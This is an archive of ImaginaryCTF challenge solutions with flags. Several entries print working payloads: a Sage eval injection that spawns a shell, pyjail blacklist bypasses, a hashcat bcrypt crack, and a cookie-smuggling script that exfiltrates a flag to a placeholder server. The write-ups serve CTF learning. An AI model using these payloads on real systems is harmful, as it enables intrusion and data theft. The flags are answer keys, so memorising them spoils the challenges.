Archived Challenges - March 2024

ictf{round_44_thanks_to_viewers_like_you}

ictf{round_44_thanks_to_viewers_like_you}

Python performs NFKC normalization on identifiers before parsing them. Use this to write flag in three chars via the fl ligature. int() leaks the flag through stderr.

ictf{have_you_heard_of_nfkc?}

There is a very big blacklist, however, "str" is not blacklisted. You can use the payload "blacklist = str". This will overwrite the blacklist function, and will now return True every single time it is called. Then you can simply call shell and read the flag file.

ictf{r34lly_l0w_s3cur17y_j41l_7d4f6b3a}

Ironically I used hashcat: $ echo '$2b$12$HT5Mzpoz4Qavukh8Fr621.MsJOd/o0Ra4EicvIYonQuozYhUyXnrK' > hash && hashcat -a 0 -m 3200 hash /path/to/rockyou.txt

ictf{letmein}

Sage use eval when you pass a string to multivariate polynomial ring, so __import__('os').system('sh') works.

ictf{can_you_show_me_how_you_disproved_FLT?}

Normal caesar shift.

ictf{ich_kann_eigentlich_kein_deutsch}

from Crypto.Util.number import *
c = ...
N = 2**900
d = pow(65537, -1, 2**899)
print(long_to_bytes(pow(c, d, N)))

ictf{N=1434_I_LOST_THE_GAME}

So you are given c,n and phi. You can make a quadratic equation to solve for p and then get the value of q. Then, can decode the secret message (you do not need p and q to decode the message because you are provided with "phi", you can simply construct the private key and decode). You can then send those values to get the flag! Alternatively, you can use z3 to solve for p and q (Easier way). Very Good resource for the same: https://crypto.stackexchange.com/questions/5791/why-is-it-important-that-phin-is-kept-a-secret-in-rsa. Solve script at: https://imaginaryctf.org/f/Asuak

ictf{1_l0v3_r54_d0_y0u?_7f1a3d2e4b5c}

The first 2 parts can be recovered using classic Coppersmith's attack. For the last part, use Coppersmith's short pad attack. A sample Sagemath script solving the challenge has been provided in solve.sage. https://imaginaryctf.org/f/FqxB5#solve.sage

ictf{dont_use_small_e_and_known_parts_of_plaintext_kids!}

The *ZZ converts the matrix to a matrix of ideals. Ideal scalar multiplication works as expected, but addition is equivalent to gcd. We can use this to leak factors of characters by checking which factors are in the result but not the coefficients. https://imaginaryctf.org/f/Uu4zx#solve.sage

ictf{v3ry_r34l1stic_ch4ll3n93}

By using whois, you can find 1337.cx is a domain of afraid.org, a free dns and subdomain provider. Since 1337.cx is not in public suffix list, owning another subdomain allows you to have a same site access to flag.1337.cx. While setting cookie flag on domain 1337.cx overrides the response, you still can't XSS due to CSP. The intended way is to do a cookie smuggling to control the prefix and suffix of flag, and leak the flag using meta redirect.

<script>
	document.cookie = 'flag="start <meta http-equiv=refresh content=\'0 ; domain=1337.cx; path=/aa' // start
	document.cookie = 'url=https://YOUR_SERVER/leak? ; domain=1337.cx; path=/aa' // mid
	document.cookie = 'z=\'> end" ; domain=1337.cx;' // end
	location = 'http://flag.1337.cx/aa'
</script>

<!--
then the result becomes:
start <meta http-equiv=refresh content='0; url=https://YOUR_SERVER/leak?; flag=FLAG_HERE; z='> end
-->

ictf{getting_cookie_to_work_correctly_is_so_hard}

when there are two heaps with one stone each remaining, just send a remove-stones event and remove zero stones (the check to prevent cheating is for working for negative numbers, so you can just "skip" your turn) socket.emit("remove-stones", JSON.stringify({index: 0, number: 0}))

ictf{you_cant_lose_if_you_just_rig_the_game!}

https://imaginaryctf.org/f/lEY3h#uint8array_writeup.md

ictf{buff3r_b3tr4y5_u1nt8_d33p_1n_v8_m3m0ry_d3pth5}

read wikipedia and find out that nim is a solved game. this time it isn't rigged, so it's possible to win very easily. the main idea is to calculate the nim sum of the heaps so that you can know what move to play

j=-1;k=-1;q=$$(".heap").map(_=>_.firstChild.innerText.split("\n")[1]*1).reduce((a, b)=>a^b);$$(".heap").forEach(i=>{w=i.firstChild.innerText.split("\n");n=w[1];if(n-(n^q)>0){j=w[0].slice(1);k=n-(n^q)}});if(k>-1&&j>-1){socket.emit("remove-stones",`{"index":${j*1-1},"number":${k*1}}`)}```

ictf{oh_i_forgot..._nim_is_a_solved_game,_and_you_know_how_to_win}

Remove sleep call and time calls.

ictf{sL33P_i5_f0r_tH3_Sl0W}

The key checker initially shuffles the array using a predefined seed (using srand), and then starts at 0 index, moving x mod strlen(map) indices ahead for each x char in the input array. The solver is written by finding the relative difference between each adjacent character in they key and, using the shuffled map, finding the letter it corresponds to. Note that the implementation of srand and rand are platform dependent, and so the results generated will be different. This particular program is a Windows executable, so compiling and running on Linux distros will yield incorrect answers. A solver written in C is attached. https://imaginaryctf.org/f/5L1KV#solver.cpp

ictf{howfarcanyourandomwalkonalineartreadmill}

This code's control flow has been flattened into a switch statement, but the code itself is pretty simple. You could solve this by drawing a diagram showing how each case flows to each other, or presumably solve it by some other method. The solve is that the first key has to be a palindrome, the second has to be prime, and the fourth has to be a multiple of 6. Each key is truncated/right-zero-padded to 11 characters before processing.

ictf{like_a_pancake}

We can see that this is a Godot project. We can open that in the GoDot editor and navigate to the script section. We can see there is a check for Input.is_action_pressed. We can go to Project → Project Settings → Input Maps to view the keys we need to press to get the congratulation message.

ictf{alt_N}

one solution is to open it up in your CAD software of choice, and choose the rendering mode as mesh to see through the exterior of the box another solution is to remove the faces of the outer box to get the flag inside

ictf{secret_box_not_so_secret_after_all}

use PIL to open the file and go through the image and convert everything back to ASCII chars, and print out flag if it is spotted https://imaginaryctf.org/f/QeEf4#solve.py

ictf{listening_to_jazz_rn_3ba79cd08}